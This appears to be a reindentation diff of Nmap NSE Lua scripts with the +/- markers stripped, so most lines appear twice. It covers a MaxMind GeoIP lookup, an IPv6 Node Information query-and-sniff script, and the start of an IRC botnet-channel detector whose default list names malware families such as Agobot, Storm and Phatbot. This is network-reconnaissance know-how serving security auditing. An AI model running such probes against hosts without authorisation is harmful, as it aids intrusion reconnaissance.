'TZ', 'UA', 'UG', 'UM', 'US', 'UY', 'UZ', 'VA', 'VC', 'VE', 'VG', 'VI', 'VN',
'VU', 'WF', 'WS', 'YE', 'YT', 'RS', 'ZA', 'ZM', 'ME', 'ZW', 'A1', 'A2', 'O1',
'AX', 'GG', 'IM', 'JE', 'BL', 'MF'
},
COUNTRY_CODES3 = {
},
COUNTRY_CODES3 = {
'','AP','EU','AND','ARE','AFG','ATG','AIA','ALB','ARM','ANT','AGO','AQ','ARG',
'ASM','AUT','AUS','ABW','AZE','BIH','BRB','BGD','BEL','BFA','BGR','BHR','BDI',
'BEN','BMU','BRN','BOL','BRA','BHS','BTN','BV','BWA','BLR','BLZ','CAN','CC',
@@ -331,8 +331,8 @@ local MaxmindDef = {
'UKR','UGA','UM','USA','URY','UZB','VAT','VCT','VEN','VGB','VIR','VNM','VUT',
'WLF','WSM','YEM','YT','SRB','ZAF','ZMB','MNE','ZWE','A1','A2','O1',
'ALA','GGY','IMN','JEY','BLM','MAF'
},
COUNTRY_NAMES = {
},
COUNTRY_NAMES = {
"", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates",
"Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia",
"Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa",
@@ -386,226 +386,226 @@ local MaxmindDef = {
"Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe",
"Anonymous Proxy","Satellite Provider","Other",
"Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin"
}
}
}
local ip2long=function(ip_str)
local ip = stdnse.strsplit('%.',ip_str)
local ip_num = (tonumber(ip[1])*16777216 + tonumber(ip[2])*65536
+ tonumber(ip[3])*256 + tonumber(ip[4]))
return ip_num
local ip = stdnse.strsplit('%.',ip_str)
local ip_num = (tonumber(ip[1])*16777216 + tonumber(ip[2])*65536
+ tonumber(ip[3])*256 + tonumber(ip[4]))
return ip_num
end
local GeoIP = {
new = function(self, filename)
local o = {}
setmetatable(o, self)
self.__index = self
o._filename=filename
local err
o._filehandle= assert(io.open(filename,'rb'))
o._databaseType = MaxmindDef.COUNTRY_EDITION
o._recordLength = MaxmindDef.STANDARD_RECORD_LENGTH
new = function(self, filename)
local o = {}
setmetatable(o, self)
self.__index = self
o._filename=filename
local err
o._filehandle= assert(io.open(filename,'rb'))
o._databaseType = MaxmindDef.COUNTRY_EDITION
o._recordLength = MaxmindDef.STANDARD_RECORD_LENGTH
local filepos = o._filehandle:seek()
o._filehandle:seek("end",-3)
local filepos = o._filehandle:seek()
o._filehandle:seek("end",-3)
for i=1,MaxmindDef.STRUCTURE_INFO_MAX_SIZE do
local delim = o._filehandle:read(3)
for i=1,MaxmindDef.STRUCTURE_INFO_MAX_SIZE do
local delim = o._filehandle:read(3)
if delim == '\255\255\255' then
o._databaseType = o._filehandle:read(1):byte()
-- backward compatibility with databases from April 2003 and earlier
if (o._databaseType >= 106) then
o._databaseType = o._databaseType - 105
end
if delim == '\255\255\255' then
o._databaseType = o._filehandle:read(1):byte()
-- backward compatibility with databases from April 2003 and earlier
if (o._databaseType >= 106) then
o._databaseType = o._databaseType - 105
end
local fast_combo1={[MaxmindDef.CITY_EDITION_REV0]=true,
[MaxmindDef.CITY_EDITION_REV1]=true,
[MaxmindDef.ORG_EDITION]=true,
[MaxmindDef.ISP_EDITION]=true,
[MaxmindDef.ASNUM_EDITION]=true}
local fast_combo1={[MaxmindDef.CITY_EDITION_REV0]=true,
[MaxmindDef.CITY_EDITION_REV1]=true,
[MaxmindDef.ORG_EDITION]=true,
[MaxmindDef.ISP_EDITION]=true,
[MaxmindDef.ASNUM_EDITION]=true}
if o._databaseType == MaxmindDef.REGION_EDITION_REV0 then
o._databaseSegments = MaxmindDef.STATE_BEGIN_REV0
elseif o._databaseType == MaxmindDef.REGION_EDITION_REV1 then
o._databaseSegments = MaxmindDef.STATE_BEGIN_REV1
elseif fast_combo1[o._databaseType] then
o._databaseSegments = 0
local buf = o._filehandle:read(MaxmindDef.SEGMENT_RECORD_LENGTH)
if o._databaseType == MaxmindDef.REGION_EDITION_REV0 then
o._databaseSegments = MaxmindDef.STATE_BEGIN_REV0
elseif o._databaseType == MaxmindDef.REGION_EDITION_REV1 then
o._databaseSegments = MaxmindDef.STATE_BEGIN_REV1
elseif fast_combo1[o._databaseType] then
o._databaseSegments = 0
local buf = o._filehandle:read(MaxmindDef.SEGMENT_RECORD_LENGTH)
-- the original representation in the MaxMind API is ANSI C integer
-- which should not overflow the greatest value Lua can offer ;)
for j=0,(MaxmindDef.SEGMENT_RECORD_LENGTH-1) do
o._databaseSegments = o._databaseSegments + bit.lshift( buf:byte(j+1), j*8)
end
-- the original representation in the MaxMind API is ANSI C integer
-- which should not overflow the greatest value Lua can offer ;)
for j=0,(MaxmindDef.SEGMENT_RECORD_LENGTH-1) do
o._databaseSegments = o._databaseSegments + bit.lshift( buf:byte(j+1), j*8)
end
if o._databaseType == MaxmindDef.ORG_EDITION or o._databaseType == MaxmindDef.ISP_EDITION then
o._recordLength = MaxmindDef.ORG_RECORD_LENGTH
end
end
break
else
o._filehandle:seek("cur",-4)
end
end
if o._databaseType == MaxmindDef.ORG_EDITION or o._databaseType == MaxmindDef.ISP_EDITION then
o._recordLength = MaxmindDef.ORG_RECORD_LENGTH
end
end
break
else
o._filehandle:seek("cur",-4)
end
end
if o._databaseType == MaxmindDef.COUNTRY_EDITION then
o._databaseSegments = MaxmindDef.COUNTRY_BEGIN
end
o._filehandle:seek("set",filepos)
if o._databaseType == MaxmindDef.COUNTRY_EDITION then
o._databaseSegments = MaxmindDef.COUNTRY_BEGIN
end
o._filehandle:seek("set",filepos)
return o
end,
return o
end,
output_record_by_addr = function(self,addr)
local loc = self:record_by_addr(addr)
if not loc then return nil end
output_record_by_addr = function(self,addr)
local loc = self:record_by_addr(addr)
if not loc then return nil end
local output = {}
--output.name = "Maxmind database"
table.insert(output, "coordinates (lat,lon): " .. loc.latitude .. "," .. loc.longitude)
local output = {}
--output.name = "Maxmind database"
table.insert(output, "coordinates (lat,lon): " .. loc.latitude .. "," .. loc.longitude)
local str = ""
if loc.city then
str = str.."city: "..loc.city
end
if loc.metro_code then
str = str .. ", "..loc.metro_code
end
if loc.country_name then
str = str .. ", "..loc.country_name
end
table.insert(output,str)
local str = ""
if loc.city then
str = str.."city: "..loc.city
end
if loc.metro_code then
str = str .. ", "..loc.metro_code
end
if loc.country_name then
str = str .. ", "..loc.country_name
end
table.insert(output,str)
return output
end,
return output
end,
record_by_addr=function(self,addr)
local ipnum = ip2long(addr)
return self:_get_record(ipnum)
end,
record_by_addr=function(self,addr)
local ipnum = ip2long(addr)
return self:_get_record(ipnum)
end,
_get_record=function(self,ipnum)
local seek_country = self:_seek_country(ipnum)
if seek_country == self._databaseSegments then
return nil
end
local record_pointer = seek_country + (2 * self._recordLength - 1) * self._databaseSegments
_get_record=function(self,ipnum)
local seek_country = self:_seek_country(ipnum)
if seek_country == self._databaseSegments then
return nil
end
local record_pointer = seek_country + (2 * self._recordLength - 1) * self._databaseSegments
self._filehandle:seek("set",record_pointer)
local record_buf = self._filehandle:read(MaxmindDef.FULL_RECORD_LENGTH)
self._filehandle:seek("set",record_pointer)
local record_buf = self._filehandle:read(MaxmindDef.FULL_RECORD_LENGTH)
local record = {}
local start_pos = 1
local char = record_buf:byte(start_pos)
char=char+1
record.country_code = MaxmindDef.COUNTRY_CODES[char]
record.country_code3 = MaxmindDef.COUNTRY_CODES3[char]
record.country_name = MaxmindDef.COUNTRY_NAMES[char]
start_pos = start_pos + 1
local end_pos = 0
local record = {}
local start_pos = 1
local char = record_buf:byte(start_pos)
char=char+1
record.country_code = MaxmindDef.COUNTRY_CODES[char]
record.country_code3 = MaxmindDef.COUNTRY_CODES3[char]
record.country_name = MaxmindDef.COUNTRY_NAMES[char]
start_pos = start_pos + 1
local end_pos = 0
end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then
record.region_name = record_buf:sub(start_pos, end_pos-1)
end
start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then
record.region_name = record_buf:sub(start_pos, end_pos-1)
end
start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then
record.city = record_buf:sub(start_pos, end_pos-1)
end
start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then
record.city = record_buf:sub(start_pos, end_pos-1)
end
start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then
record.postal_code = record_buf:sub(start_pos, end_pos-1)
end
start_pos = end_pos + 1
end_pos = record_buf:find("\0",start_pos)
if start_pos ~= end_pos then
record.postal_code = record_buf:sub(start_pos, end_pos-1)
end
start_pos = end_pos + 1
local c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
record.latitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180
start_pos = start_pos +3
local c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
record.latitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180
start_pos = start_pos +3
c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
record.longitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180
start_pos = start_pos +3
c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
record.longitude = (( bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8) )/10000) - 180
start_pos = start_pos +3
if self._databaseType == MaxmindDef.CITY_EDITION_REV1 and record.country_code=='US' then
c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
local dmaarea_combo= bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8)
record.dma_code = math.floor(dmaarea_combo/1000)
record.area_code = dmaarea_combo % 1000
else
record.dma_code = nil
record.area_code = nil
end
if self._databaseType == MaxmindDef.CITY_EDITION_REV1 and record.country_code=='US' then
c1,c2,c3=record_buf:byte(start_pos,start_pos+3)
local dmaarea_combo= bit.lshift(c1,0*8) + bit.lshift(c2,1*8) + bit.lshift(c3,2*8)
record.dma_code = math.floor(dmaarea_combo/1000)
record.area_code = dmaarea_combo % 1000
else
record.dma_code = nil
record.area_code = nil
end
if record.dma_code and MaxmindDef.DMA_MAP[record.dma_code] then
record.metro_code = MaxmindDef.DMA_MAP[record.dma_code]
else
record.metro_code = nil
end
if record.dma_code and MaxmindDef.DMA_MAP[record.dma_code] then
record.metro_code = MaxmindDef.DMA_MAP[record.dma_code]
else
record.metro_code = nil
end
return record
end,
return record
end,
_seek_country=function(self,ipnum)
local offset = 0
for depth=31,0,-1 do
self._filehandle:seek("set", 2 * self._recordLength * offset)
local buf = self._filehandle:read(2*self._recordLength)
_seek_country=function(self,ipnum)
local offset = 0
for depth=31,0,-1 do
self._filehandle:seek("set", 2 * self._recordLength * offset)
local buf = self._filehandle:read(2*self._recordLength)
local x = {}
x[0],x[1] = 0,0
local x = {}
x[0],x[1] = 0,0
for i=0,1 do
for j=0,(self._recordLength-1) do
x[i] = x[i] + bit.lshift(buf:byte((self._recordLength * i + j) +1 ), j*8)
end
end
-- Gotta test this out thorougly because of the ipnum
if bit.band(ipnum, bit.lshift(1,depth)) ~= 0 then
if x[1] >= self._databaseSegments then
return x[1]
end
offset = x[1]
else
if x[0] >= self._databaseSegments then
return x[0]
end
offset = x[0]
end
end
stdnse.print_debug('Error traversing database - perhaps it is corrupt?')
return nil
end,
for i=0,1 do
for j=0,(self._recordLength-1) do
x[i] = x[i] + bit.lshift(buf:byte((self._recordLength * i + j) +1 ), j*8)
end
end
-- Gotta test this out thorougly because of the ipnum
if bit.band(ipnum, bit.lshift(1,depth)) ~= 0 then
if x[1] >= self._databaseSegments then
return x[1]
end
offset = x[1]
else
if x[0] >= self._databaseSegments then
return x[0]
end
offset = x[0]
end
end
stdnse.print_debug('Error traversing database - perhaps it is corrupt?')
return nil
end,
}
action = function(host,port)
local f_maxmind = stdnse.get_script_args(SCRIPT_NAME .. ".maxmind_db")
local f_maxmind = stdnse.get_script_args(SCRIPT_NAME .. ".maxmind_db")
local output = {}
local output = {}
--if f_maxmind is a string, it should specify the filename of the database
if f_maxmind then
local gi = assert( GeoIP:new(f_maxmind), "Wrong file specified for a Maxmind database")
local out = gi:output_record_by_addr(host.ip)
output = out
else
local gi = assert( GeoIP:new(nmap.fetchfile("nselib/data/GeoLiteCity.dat")), "Cannot read Maxmind database file in 'nselib/data/'.")
local out = gi:output_record_by_addr(host.ip)
output = out
end
--if f_maxmind is a string, it should specify the filename of the database
if f_maxmind then
local gi = assert( GeoIP:new(f_maxmind), "Wrong file specified for a Maxmind database")
local out = gi:output_record_by_addr(host.ip)
output = out
else
local gi = assert( GeoIP:new(nmap.fetchfile("nselib/data/GeoLiteCity.dat")), "Cannot read Maxmind database file in 'nselib/data/'.")
local out = gi:output_record_by_addr(host.ip)
output = out
end
if(#output~=0) then
output.name = host.ip
if host.targetname then
output.name = output.name.." ("..host.targetname..")"
end
end
if(#output~=0) then
output.name = host.ip
if host.targetname then
output.name = output.name.." ("..host.targetname..")"
end
end
return stdnse.format_output(true,output)
return stdnse.format_output(true,output)
end

View File

@@ -52,142 +52,142 @@ local QTYPE_NODEADDRESSES = 3
local QTYPE_NODEIPV4ADDRESSES = 4
local QTYPE_STRINGS = {
[QTYPE_NOOP] = "NOOP",
[QTYPE_NODENAME] = "Hostnames",
[QTYPE_NODEADDRESSES] = "IPv6 addresses",
[QTYPE_NODEIPV4ADDRESSES] = "IPv4 addresses",
[QTYPE_NOOP] = "NOOP",
[QTYPE_NODENAME] = "Hostnames",
[QTYPE_NODEADDRESSES] = "IPv6 addresses",
[QTYPE_NODEIPV4ADDRESSES] = "IPv4 addresses",
}
local function build_ni_query(src, dst, qtype)
local payload, p, flags
local nonce
local payload, p, flags
local nonce
nonce = openssl.rand_pseudo_bytes(8)
if qtype == QTYPE_NODENAME then
flags = 0x0000
elseif qtype == QTYPE_NODEADDRESSES then
-- Set all the flags GSLCA (see RFC 4620, Figure 3).
flags = 0x003E
elseif qtype == QTYPE_NODEIPV4ADDRESSES then
-- Set the A flag (see RFC 4620, Figure 4).
flags = 0x0002
else
error("Unknown qtype " .. qtype)
end
payload = bin.pack(">SSAA", qtype, flags, nonce, dst)
p = packet.Packet:new()
p:build_icmpv6_header(ICMPv6_NODEINFOQUERY, ICMPv6_NODEINFOQUERY_IPv6ADDR, payload, src, dst)
p:build_ipv6_packet(src, dst, packet.IPPROTO_ICMPV6)
nonce = openssl.rand_pseudo_bytes(8)
if qtype == QTYPE_NODENAME then
flags = 0x0000
elseif qtype == QTYPE_NODEADDRESSES then
-- Set all the flags GSLCA (see RFC 4620, Figure 3).
flags = 0x003E
elseif qtype == QTYPE_NODEIPV4ADDRESSES then
-- Set the A flag (see RFC 4620, Figure 4).
flags = 0x0002
else
error("Unknown qtype " .. qtype)
end
payload = bin.pack(">SSAA", qtype, flags, nonce, dst)
p = packet.Packet:new()
p:build_icmpv6_header(ICMPv6_NODEINFOQUERY, ICMPv6_NODEINFOQUERY_IPv6ADDR, payload, src, dst)
p:build_ipv6_packet(src, dst, packet.IPPROTO_ICMPV6)
return p.buf
return p.buf
end
function hostrule(host)
return nmap.is_privileged() and #host.bin_ip == 16 and host.interface
return nmap.is_privileged() and #host.bin_ip == 16 and host.interface
end
local function open_sniffer(host)
local bpf
local s
local bpf
local s
s = nmap.new_socket()
bpf = string.format("ip6 and src host %s", host.ip)
s:pcap_open(host.interface, 1500, false, bpf)
s = nmap.new_socket()
bpf = string.format("ip6 and src host %s", host.ip)
s:pcap_open(host.interface, 1500, false, bpf)
return s
return s
end
local function send_queries(host)
local dnet
local dnet
dnet = nmap.new_dnet()
dnet:ip_open()
local p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEADDRESSES)
dnet:ip_send(p, host)
p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODENAME)
dnet:ip_send(p, host)
p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEIPV4ADDRESSES)
dnet:ip_send(p, host)
dnet:ip_close()
dnet = nmap.new_dnet()
dnet:ip_open()
local p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEADDRESSES)
dnet:ip_send(p, host)
p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODENAME)
dnet:ip_send(p, host)
p = build_ni_query(host.bin_ip_src, host.bin_ip, QTYPE_NODEIPV4ADDRESSES)
dnet:ip_send(p, host)
dnet:ip_close()
end
local function empty(t)
return not next(t)
return not next(t)
end
-- Try to decode a Node Name reply data field. If successful, returns true and
-- a list of DNS names. In case of a parsing error, returns false and the
-- partial list of names that were parsed prior to the error.
local function try_decode_nodenames(data)
local ttl
local names = {}
local pos = nil
local ttl
local names = {}
local pos = nil
pos, ttl = bin.unpack(">I", data, pos)
if not ttl then
return false, names
end
while pos <= #data do
local name
pos, ttl = bin.unpack(">I", data, pos)
if not ttl then
return false, names
end
while pos <= #data do
local name
pos, name = dns.decStr(data, pos)
if not name then
return false, names
end
-- Ignore empty names, such as those at the end.
if name ~= "" then
names[#names + 1] = name
end
end
pos, name = dns.decStr(data, pos)
if not name then
return false, names
end
-- Ignore empty names, such as those at the end.
if name ~= "" then
names[#names + 1] = name
end
end
return true, names
return true, names
end
local function stringify_noop(flags, data)
return "replied"
return "replied"
end
-- RFC 4620, section 6.3.
local function stringify_nodename(flags, data)
local status, names
local text
local status, names
local text
status, names = try_decode_nodenames(data)
if empty(names) then
return
end
text = stdnse.strjoin(", ", names)
if not status then
text = text .. " (parsing error)"
end
status, names = try_decode_nodenames(data)
if empty(names) then
return
end
text = stdnse.strjoin(", ", names)
if not status then
text = text .. " (parsing error)"
end
return text
return text
end
-- RFC 4620, section 6.3.
local function stringify_nodeaddresses(flags, data)
local ttl, binaddr
local text
local addrs = {}
local pos = nil
local ttl, binaddr
local text
local addrs = {}
local pos = nil
while true do
pos, ttl, binaddr = bin.unpack(">IA16", data, pos)
if not ttl then
break
end
addrs[#addrs + 1] = packet.toipv6(binaddr)
end
if empty(addrs) then
return
end
while true do
pos, ttl, binaddr = bin.unpack(">IA16", data, pos)
if not ttl then
break
end
addrs[#addrs + 1] = packet.toipv6(binaddr)
end
if empty(addrs) then
return
end
text = stdnse.strjoin(", ", addrs)
if bit.band(flags, 0x01) ~= 0 then
text = text .. " (more omitted for space reasons)"
end
text = stdnse.strjoin(", ", addrs)
if bit.band(flags, 0x01) ~= 0 then
text = text .. " (more omitted for space reasons)"
end
return text
return text
end
-- RFC 4620, section 6.4.
@@ -200,133 +200,133 @@ end
-- 00 00 00 00 0e 6d 61 63 2d 6d 69 6e 69 2e 6c 6f .....mac -mini.lo
-- 63 61 6c cal
local function stringify_nodeipv4addresses(flags, data)
local status, names
local ttl, binaddr
local text
local addrs = {}
local pos = nil
local status, names
local ttl, binaddr
local text
local addrs = {}
local pos = nil
-- Check for DNS names.
status, names = try_decode_nodenames(data .. "\0\0")
if status then
return "(actually hostnames) " .. stdnse.strjoin(", ", names)
end
-- Check for DNS names.
status, names = try_decode_nodenames(data .. "\0\0")
if status then
return "(actually hostnames) " .. stdnse.strjoin(", ", names)
end
-- Okay, looks like it's really IP addresses.
while true do
pos, ttl, binaddr = bin.unpack(">IA4", data, pos)
if not ttl then
break
end
addrs[#addrs + 1] = packet.toip(binaddr)
end
if empty(addrs) then
return
end
-- Okay, looks like it's really IP addresses.
while true do
pos, ttl, binaddr = bin.unpack(">IA4", data, pos)
if not ttl then
break
end
addrs[#addrs + 1] = packet.toip(binaddr)
end
if empty(addrs) then
return
end
text = stdnse.strjoin(", ", addrs)
if bit.band(flags, 0x01) ~= 0 then
text = text .. " (more omitted for space reasons)"
end
text = stdnse.strjoin(", ", addrs)
if bit.band(flags, 0x01) ~= 0 then
text = text .. " (more omitted for space reasons)"
end
return text
return text
end
local STRINGIFY = {
[QTYPE_NOOP] = stringify_noop,
[QTYPE_NODENAME] = stringify_nodename,
[QTYPE_NODEADDRESSES] = stringify_nodeaddresses,
[QTYPE_NODEIPV4ADDRESSES] = stringify_nodeipv4addresses,
[QTYPE_NOOP] = stringify_noop,
[QTYPE_NODENAME] = stringify_nodename,
[QTYPE_NODEADDRESSES] = stringify_nodeaddresses,
[QTYPE_NODEIPV4ADDRESSES] = stringify_nodeipv4addresses,
}
local function handle_received_packet(buf)
local p, qtype, flags, data
local text
local p, qtype, flags, data
local text
p = packet.Packet:new(buf)
if p.icmpv6_type ~= ICMPv6_NODEINFORESP then
return
end
qtype = packet.u16(p.buf, p.icmpv6_offset + 4)
flags = packet.u16(p.buf, p.icmpv6_offset + 6)
data = string.sub(p.buf, p.icmpv6_offset + 16 + 1)
p = packet.Packet:new(buf)
if p.icmpv6_type ~= ICMPv6_NODEINFORESP then
return
end
qtype = packet.u16(p.buf, p.icmpv6_offset + 4)
flags = packet.u16(p.buf, p.icmpv6_offset + 6)
data = string.sub(p.buf, p.icmpv6_offset + 16 + 1)
if not STRINGIFY[qtype] then
-- This is a not a qtype we sent or know about.
stdnse.print_debug(1, "Got NI reply with unknown qtype %d from %s", qtype, p.ip6_src)
return
end
if not STRINGIFY[qtype] then
-- This is a not a qtype we sent or know about.
stdnse.print_debug(1, "Got NI reply with unknown qtype %d from %s", qtype, p.ip6_src)
return
end
if p.icmpv6_code == ICMPv6_NODEINFORESP_SUCCESS then
text = STRINGIFY[qtype](flags, data)
elseif p.icmpv6_code == ICMPv6_NODEINFORESP_REFUSED then
text = "refused"
elseif p.icmpv6_code == ICMPv6_NODEINFORESP_UNKNOWN then
text = string.format("target said: qtype %d is unknown", qtype)
else
text = string.format("unknown ICMPv6 code %d for qtype %d", p.icmpv6_code, qtype)
end
if p.icmpv6_code == ICMPv6_NODEINFORESP_SUCCESS then
text = STRINGIFY[qtype](flags, data)
elseif p.icmpv6_code == ICMPv6_NODEINFORESP_REFUSED then
text = "refused"
elseif p.icmpv6_code == ICMPv6_NODEINFORESP_UNKNOWN then
text = string.format("target said: qtype %d is unknown", qtype)
else
text = string.format("unknown ICMPv6 code %d for qtype %d", p.icmpv6_code, qtype)
end
return qtype, text
return qtype, text
end
local function format_results(results)
local QTYPE_ORDER = {
QTYPE_NOOP,
QTYPE_NODENAME,
QTYPE_NODEADDRESSES,
QTYPE_NODEIPV4ADDRESSES,
}
local output
local QTYPE_ORDER = {
QTYPE_NOOP,
QTYPE_NODENAME,
QTYPE_NODEADDRESSES,
QTYPE_NODEIPV4ADDRESSES,
}
local output
output = {}
for _, qtype in ipairs(QTYPE_ORDER) do
if results[qtype] then
output[#output + 1] = QTYPE_STRINGS[qtype] .. ": " .. results[qtype]
end
end
output = {}
for _, qtype in ipairs(QTYPE_ORDER) do
if results[qtype] then
output[#output + 1] = QTYPE_STRINGS[qtype] .. ": " .. results[qtype]
end
end
return stdnse.format_output(true, output)
return stdnse.format_output(true, output)
end
function action(host)
local s
local timeout, end_time, now
local pending, results
local s
local timeout, end_time, now
local pending, results
timeout = host.times.timeout * 10
timeout = host.times.timeout * 10
s = open_sniffer(host)
s = open_sniffer(host)
send_queries(host)
send_queries(host)
pending = {
[QTYPE_NODENAME] = true,
[QTYPE_NODEADDRESSES] = true,
[QTYPE_NODEIPV4ADDRESSES] = true,
}
results = {}
pending = {
[QTYPE_NODENAME] = true,
[QTYPE_NODEADDRESSES] = true,
[QTYPE_NODEIPV4ADDRESSES] = true,
}
results = {}
now = nmap.clock_ms()
end_time = now + timeout
repeat
local _, status, buf
now = nmap.clock_ms()
end_time = now + timeout
repeat
local _, status, buf
s:set_timeout((end_time - now) * 1000)
s:set_timeout((end_time - now) * 1000)
status, _, _, buf = s:pcap_receive()
if status then
local qtype, text = handle_received_packet(buf)
if qtype then
results[qtype] = text
pending[qtype] = nil
end
end
status, _, _, buf = s:pcap_receive()
if status then
local qtype, text = handle_received_packet(buf)
if qtype then
results[qtype] = text
pending[qtype] = nil
end
end
now = nmap.clock_ms()
until empty(pending) or now > end_time
now = nmap.clock_ms()
until empty(pending) or now > end_time
s:pcap_close()
s:pcap_close()
return format_results(results)
return format_results(results)
end

View File

@@ -56,22 +56,22 @@ local RPL_LIST = "322"
local RPL_LISTEND = "323"
local DEFAULT_CHANNELS = {
"loic",
"Agobot",
"Slackbot",
"Mytob",
"Rbot",
"SdBot",
"poebot",
"IRCBot",
"VanBot",
"MPack",
"Storm",
"GTbot",
"Spybot",
"Phatbot",
"Wargbot",
"RxBot",
"loic",
"Agobot",
"Slackbot",
"Mytob",
"Rbot",
"SdBot",
"poebot",
"IRCBot",
"VanBot",
"MPack",
"Storm",
"GTbot",
"Spybot",
"Phatbot",
"Wargbot",
"RxBot",
}
portrule = shortport.port_or_service({6666, 6667, 6697, 6679}, {"irc", "ircs"})
@@ -84,238 +84,238 @@ portrule = shortport.port_or_service({6666, 6667, 6697, 6679}, {"irc", "ircs"})
--
-- See RFC 2812, section 2.3.1 for BNF of a message.
local function irc_parse_message(s)
local prefix, command, params
local _, p, t
local prefix, command, params
local _, p, t
s = string.gsub(s, "\r?\n$", "")
if string.match(s, "^ *$") then
return true, nil
end
s = string.gsub(s, "\r?\n$", "")
if string.match(s, "^ *$") then
return true, nil
end
p = 0
_, t, prefix = string.find(s, "^:([^ ]+) +", p + 1)
if t then
p = t
end
p = 0
_, t, prefix = string.find(s, "^:([^ ]+) +", p + 1)
if t then
p = t
end
-- We do not check for any special format of the command name or
-- number.
_, p, command = string.find(s, "^([^ ]+)", p + 1)
if not p then
return nil, "Presumed message is missing a command."
end
-- We do not check for any special format of the command name or
-- number.
_, p, command = string.find(s, "^([^ ]+)", p + 1)
if not p then
return nil, "Presumed message is missing a command."
end
params = {}
while p + 1 <= #s do
local param
params = {}
while p + 1 <= #s do
local param
_, p = string.find(s, "^ +", p + 1)
if not p then
return nil, "Missing a space before param."
end
-- We don't do any checks on the contents of params.
if #params == 14 then
params[#params + 1] = string.sub(s, p + 1)
break
elseif string.match(s, "^:", p + 1) then
params[#params + 1] = string.sub(s, p + 2)
break
else
_, p, param = string.find(s, "^([^ ]+)", p + 1)
if not p then
return nil, "Missing a param."
end
params[#params + 1] = param
end
end
_, p = string.find(s, "^ +", p + 1)
if not p then
return nil, "Missing a space before param."
end
-- We don't do any checks on the contents of params.
if #params == 14 then
params[#params + 1] = string.sub(s, p + 1)
break
elseif string.match(s, "^:", p + 1) then
params[#params + 1] = string.sub(s, p + 2)
break
else
_, p, param = string.find(s, "^([^ ]+)", p + 1)
if not p then
return nil, "Missing a param."
end
params[#params + 1] = param
end
end
return true, prefix, command, params
return true, prefix, command, params
end
local function irc_compose_message(prefix, command, ...)
local parts, params
local parts, params
parts = {}
if prefix then
parts[#parts + 1] = prefix
end
parts = {}
if prefix then
parts[#parts + 1] = prefix
end
if string.match(command, "^:") then
return nil, "Command may not begin with ':'."
end
parts[#parts + 1] = command
if string.match(command, "^:") then
return nil, "Command may not begin with ':'."
end
parts[#parts + 1] = command
params = {...}
for i, param in ipairs(params) do
if not string.match(param, "^[^\0\r\n :][^\0\r\n ]*$") then
if i < #params then
return nil, "Bad format for param."
else
parts[#parts + 1] = ":" .. param
end
else
parts[#parts + 1] = param
end
end
params = {...}
for i, param in ipairs(params) do
if not string.match(param, "^[^\0\r\n :][^\0\r\n ]*$") then
if i < #params then
return nil, "Bad format for param."
else
parts[#parts + 1] = ":" .. param
end
else
parts[#parts + 1] = param
end
end
return stdnse.strjoin(" ", parts) .. "\r\n"
return stdnse.strjoin(" ", parts) .. "\r\n"
end
local function random_nick()
local nick = {}
local nick = {}
for i = 1, 9 do
nick[#nick + 1] = string.char(math.random(string.byte("a"), string.byte("z")))
end
for i = 1, 9 do
nick[#nick + 1] = string.char(math.random(string.byte("a"), string.byte("z")))
end
return table.concat(nick)
return table.concat(nick)
end
local function splitlines(s)
local lines = {}
local _, i, j
local lines = {}
local _, i, j
i = 1
while i <= #s do
_, j = string.find(s, "\r?\n", i)
lines[#lines + 1] = string.sub(s, i, j)
if not j then
break
end
i = j + 1
end
i = 1
while i <= #s do
_, j = string.find(s, "\r?\n", i)
lines[#lines + 1] = string.sub(s, i, j)
if not j then
break
end
i = j + 1
end
return lines
return lines
end
local function irc_connect(host, port, nick, user, pass)
local commands = {}
local irc = {}
local banner
local commands = {}
local irc = {}
local banner
-- Section 3.1.1.
if pass then
commands[#commands + 1] = irc_compose_message(nil, "PASS", pass)
end
nick = nick or random_nick()
commands[#commands + 1] = irc_compose_message(nil, "NICK", nick)
user = user or nick
commands[#commands + 1] = irc_compose_message(nil, "USER", user, "8", "*", user)
-- Section 3.1.1.
if pass then
commands[#commands + 1] = irc_compose_message(nil, "PASS", pass)
end
nick = nick or random_nick()
commands[#commands + 1] = irc_compose_message(nil, "NICK", nick)
user = user or nick
commands[#commands + 1] = irc_compose_message(nil, "USER", user, "8", "*", user)
irc.sd, banner = comm.tryssl(host, port, table.concat(commands))
if not irc.sd then
return nil, "Unable to open connection."
end
irc.sd, banner = comm.tryssl(host, port, table.concat(commands))
if not irc.sd then
return nil, "Unable to open connection."
end
irc.sd:set_timeout(60 * 1000)
irc.sd:set_timeout(60 * 1000)
-- Buffer these initial lines for irc_readline.
irc.linebuf = splitlines(banner)
-- Buffer these initial lines for irc_readline.
irc.linebuf = splitlines(banner)
irc.buf = stdnse.make_buffer(irc.sd, "\r?\n")
irc.buf = stdnse.make_buffer(irc.sd, "\r?\n")
return irc
return irc
end
local function irc_disconnect(irc)
irc.sd:close()
irc.sd:close()
end
local function irc_readline(irc)
local line
